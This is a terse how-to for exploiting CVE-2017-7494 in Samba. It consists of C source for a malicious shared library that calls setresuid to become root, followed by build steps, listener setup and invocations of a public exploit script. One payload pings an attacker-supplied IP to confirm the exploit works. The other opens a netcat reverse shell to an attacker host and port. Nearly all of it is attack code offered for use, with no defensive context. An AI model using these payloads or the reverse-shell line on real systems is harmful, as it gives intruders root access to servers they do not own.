cve-2107-7494

# CVE-2017-7494
git clone https://github.com/joxeankoret/CVE-2017-7494

#1 Create a new file named poc.c :

#####################################

#include <stdio.h>
#include <stdlib.h>

int samba_init_module(void)
{
	setresuid(0,0,0);
	system("ping -c 3 <IP>");
}

#####################################

#2 Build
gcc -o test.so -shared poc.c -fPIC

#3 Start an ICMP listener
sudo tcpdump -i <INTERFACE> icmp

#4 Exploit - If 3 pings on your listener It Worked
./cve_2017_7494.py -t <TARGET_IP> -u <USER> -P <PASSWORD> --custom=test.so

#####################################

#include <stdio.h>
#include <stdlib.h>

int samba_init_module(void)
{
	setresuid(0,0,0);
	system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f");
}

#####################################

#5 Build
gcc -o test.so -shared poc.c -fPIC

#6 Start a listener
nc -lvp <PORT>

#7 Exploit
./cve_2017_7494.py -t <TARGET_IP> -u <USER> -P <PASSWORD> --custom=test.so